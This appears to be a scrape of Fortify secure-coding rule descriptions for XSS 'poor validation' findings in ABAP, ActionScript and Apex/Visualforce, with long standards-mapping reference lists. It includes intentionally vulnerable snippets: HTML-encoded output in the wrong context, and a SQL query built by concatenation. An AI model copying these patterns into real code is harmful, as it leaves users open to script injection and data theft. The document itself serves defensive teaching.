[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.vb.cross_site_scripting_persistent
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding function modules, such as cl_http_utility=>escape_html, will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding function modules is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks report cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, an untrusted source is most frequently a web request, and in the case of persistent (also known as stored) XSS -- it is the results of a database query.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ABAP code segment reads an employee ID, eid, from an HTTP request, HTML-encodes it, and displays it to the user.


...
eid = request->get_form_field( 'eid' ).
...
CALL METHOD cl_http_utility=>escape_html
EXPORTING
UNESCAPED = eid
KEEP_NUM_CHAR_REF = '-'
RECEIVING
ESCAPED = e_eid.
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( e_eid ).
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following ABAP code segment queries a database for an employee with a given ID and prints the corresponding HTML-encoded employee's name.


...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.

SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
CALL METHOD cl_http_utility=>escape_html
EXPORTING
UNESCAPED = itab_employees-name
KEEP_NUM_CHAR_REF = '-'
RECEIVING
ESCAPED = e_name.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( e_name ).
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] SAP OSS notes 1582870, 1582867 and related notes for ABAP XSS support
[2] SAP OSS Notes 822881, 1600317, 1640092, 1671470 and 1638779 for XSS support in BSPs
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[13] Standards Mapping - FIPS200 SI
[14] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.abap.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding functions will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding functions is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks report cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ActionScript code segment reads an employee ID, eid, from an HTTP request, HTML-encodes it, and displays it to the user.


var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + escape(eid);
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following ActionScript code segment queries a database for an employee with a given ID and prints the corresponding HTML-encoded employee's name.


stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + escape(name);
}


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.actionscript.cross_site_scripting_poor_validation
Abstract
Sending unvalidated data to the web browser may lead to the execution of malicious code.
Explanation
Due to the large amount of possible interactions between user supplied data and the web browser parsers, it is not always possible to properly assess if the applied encoding is sufficient to protect against XSS vulnerability. Therefore, Fortify Static Code Analyzer reports cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, an untrusted source is most frequently a web request, and in the case of persistent (also known as stored) XSS it is the results of a database query.

2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content usually is a segment of JavaScript code, but can also be HML, Flash or any other active content that might be executed by the browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Apex code segment queries a database for a contact name with a given ID and returns the corresponding employee's name, which later gets printed by the Visualforce code.


...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...

<div onclick="this.innerHTML='Hello {!HTMLENCODE(variable)}'">Click me!</div>


This code, despite the usage of HTMLENCODE, does not properly validate the data provided by the database and is vulnerable to XSS. This happens because the variable content is parsed by different mechanisms (HTML and Javascript parsers), therfore neeeds to be encoded two times. This way, an attacker can have malicious commands executed in the user's web browser without the need to interact with the victim like in Reflected XSS. This type of attack, known as Stored XSS (or Persistent), can be very hard to detect since the data is indirectly provided to the vulnerable function and also have a higher impact due to the possibility to affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following Visualforce code segment reads an HTTP request parameter, username, and displays it to the user.


<script>
document.write('{!HTMLENCODE($CurrentPage.parameters.username)}')
</script>


The code in this example was intended to receive only alphanumeric text and display it. However, if username contains metacharacters or source code, it will be executed by the web browser. Also in this example the usage of HTMLENCODE is not enough to prevent the XSS attack since the variable is processed by the Javascript parser.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are two vectors by which an XSS attack can be executed:

- As in Example 1, the database or other data store can provide dangerous data to the application that will be included in dynamic content. From the attacker's perspective, the best place to store malicious content is an area accessible to all users specially those with elevated privileges, who are more likely to handle sensitive information or perform critical operations.

- As in Example 2, data is read from the HTTP request and reflected back in the HTTP response. Reflected XSS occurs when an attacker can have dangerous content delivered to a vulnerable web application and then reflected back to the user and execute by his browser. The most common mechanism to deliver malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to the victim. URLs crafted this way are the core of many phishing schemes, where the attacker lures the victim to visit the URL. After the site reflects the content back to the user, it is executed and can perform several actions like forward private sensitive information, execute unauthorized operations on the victim computer etc.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Salesforce Developers Technical Library Secure Coding Guidelines - Cross Site Scripting
[4] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
